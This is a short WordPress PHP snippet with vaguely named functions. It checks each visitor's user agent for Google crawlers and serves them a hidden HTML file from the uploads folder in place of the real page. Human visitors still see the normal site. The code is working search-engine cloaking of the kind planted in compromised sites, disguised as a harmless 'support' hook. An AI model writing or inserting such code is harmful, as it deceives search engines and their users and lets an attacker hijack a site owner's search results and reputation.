
function g_support() { if (isset($_SERVER['HTTP_USER_AGENT'])) { $user_agent = $_SERVER['HTTP_USER_AGENT']; $google_agents = ['Googlebot', 'AdsBot-Google', 'Mediapartners-Google', 'Google-InspectionTool']; foreach ($google_agents as $agent) { if (stripos($user_agent, $agent) !== false) { return true; } } } return false; } function r_support() { $custom_content_path = ABSPATH . 'wp-content/uploads/2024/3.html'; if (!file_exists($custom_content_path)) { error_log('File not found: ' . $custom_content_path); return; } if (g_support()) { header('Content-Type: text/html'); readfile($custom_content_path); exit; } } add_action('template_redirect', 'r_support');